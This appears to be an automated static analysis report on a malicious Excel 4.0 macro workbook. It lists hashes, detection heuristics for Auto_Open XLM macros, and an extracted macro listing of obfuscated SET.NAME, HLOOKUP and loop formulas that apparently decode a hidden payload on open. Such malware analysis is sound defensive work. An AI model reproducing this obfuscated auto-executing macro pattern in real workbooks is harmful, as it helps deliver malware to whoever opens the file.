Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 121edac071b0b45c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:57 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 141d74ae7dfc74330b322c4ad3fef87d SHA-1: e9e3273aa9e8f5cc855b7d03aa293c71fa167fd9 SHA-256: 121edac071b0b45c93f9e261c49e1fd010b64c989329cee8e1fd9cd8a21c35b8
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6814 bytes
SHA-256: 495ff330244be341c8ffc2cc938f4770901e6b2761370e00ab9e4eee2d5a23a5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hTAjNAWEJt
' 0018     21 LABEL : Cell Value, String Constant - AgLsTj len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B145 
' 0018     27 LABEL : Cell Value, String Constant - bBLOuwvwxtdl len=0 
' 0018     23 LABEL : Cell Value, String Constant - dKuWXtnI len=0 
' 0018     27 LABEL : Cell Value, String Constant - DomVyTVEtPOG len=0 
' 0018     23 LABEL : Cell Value, String Constant - hIIfgcdW len=0 
' 0018     20 LABEL : Cell Value, String Constant - htogc len=0 
' 0018     23 LABEL : Cell Value, String Constant - iZOJUdro len=0 
' 0018     22 LABEL : Cell Value, String Constant - KAmQpnx len=0 
' 0018     23 LABEL : Cell Value, String Constant - kHjahIPv len=0 
' 0018     21 LABEL : Cell Value, String Constant - llpzsY len=0 
' 0018     24 LABEL : Cell Value, String Constant - NjpmYCzVi len=0 
' 0018     23 LABEL : Cell Value, String Constant - nxXMgQHv len=0 
' 0018     25 LABEL : Cell Value, String Constant - oEvZqtDaWY len=0 
' 0018     20 LABEL : Cell Value, String Constant - QaoiM len=0 
' 0018     23 LABEL : Cell Value, String Constant - qNGtBcPj len=0 
' 0018     23 LABEL : Cell Value, String Constant - sGGWBidL len=0 
' 0018     26 LABEL : Cell Value, String Constant - sKhiDbNtydw len=0 
' 0018     20 LABEL : Cell Value, String Constant - uAoAv len=0 
' 0018     27 LABEL : Cell Value, String Constant - useqgOwjWPSI len=0 
' 0018     26 LABEL : Cell Value, String Constant - XshFxksQqWw len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hTAjNAWEJt,B49,"SET.NAME("sKhiDbNtydw",0+VALUE("0"))",""
'  hTAjNAWEJt,B53,"SET.NAME("KAmQpnx",sKhiDbNtydw)",""
'  hTAjNAWEJt,P54,"",-700.00000000000000000000
'  hTAjNAWEJt,P55,"",-25.00000000000000000000
'  hTAjNAWEJt,P56,"",82.00000000000000000000
'  hTAjNAWEJt,B57,"SET.NAME("XshFxksQqWw",sKhiDbNtydw)",""
'  hTAjNAWEJt,P57,"",-226.00000000000000000000
'  hTAjNAWEJt,P58,"",566.00000000000000000000
'  hTAjNAWEJt,P59,"",-979.00000000000000000000
'  hTAjNAWEJt,B61,"SET.NAME("QaoiM",COUNTA(sGGWBidL))",""
'  hTAjNAWEJt,B66,"SET.NAME("hIIfgcdW",COUNTA(nxXMgQHv))",""
'  hTAjNAWEJt,B71,[],""
'  hTAjNAWEJt,B74,"SET.NAME("htogc","")",""
'  hTAjNAWEJt,B78,"KAmQpnx",""
'  hTAjNAWEJt,B82,"SET.NAME("DomVyTVEtPOG",HLOOKUP("*",sGGWBidL,KAmQpnx,FALSE))",""
'  hTAjNAWEJt,B84,"useqgOwjWPSI",""
'  hTAjNAWEJt,B89,"SET.NAME("llpzsY",sKhiDbNtydw)",""
'  hTAjNAWEJt,B91,[],""
'  hTAjNAWEJt,B94,"llpzsY",""
'  hTAjNAWEJt,B97,"bBLOuwvwxtdl",""
'  hTAjNAWEJt,B100,"NjpmYCzVi",""
'  hTAjNAWEJt,B104,"AgLsTj",""
'  hTAjNAWEJt,B106,"SET.NAME("uAoAv",VALUE(HLOOKUP("*",nxXMgQHv,AgLsTj,FALSE)))",""
'  hTAjNAWEJt,B111,"iZOJUdro",""
'  hTAjNAWEJt,B114,"htogc",""
'  hTAjNAWEJt,B119,"XshFxksQqWw",""
'  hTAjNAWEJt,B123,NEXT(),""
'  hTAjNAWEJt,B128,"oEvZqtDaWY",""
'  hTAjNAWEJt,B133,[],""
'  hTAjNAWEJt,B136,"qNGtBcPj",""
'  hTAjNAWEJt,B138,NEXT(),""
'  hTAjNAWEJt,B143,RETURN(),""
'  hTAjNAWEJt,B166,"SET.NAME("kHjahIPv",B49)",""
'  hTAjNAWEJt,B168,"sGGWBidL",""
'  hTAjNAWEJt,B173,"SET.NAME("nxXMgQHv",R58C14)",""
'  hTAjNAWEJt,B178,"SET.NAME("qNGtBcPj",184)",""
'  hTAjNAWEJt,B181,"SET.NAME("dKuWXtnI",2)",""
'  hTAjNAWEJt,B183,kHjahIPv(),""
'  hTAjNAWEJt,B184,HALT(),""

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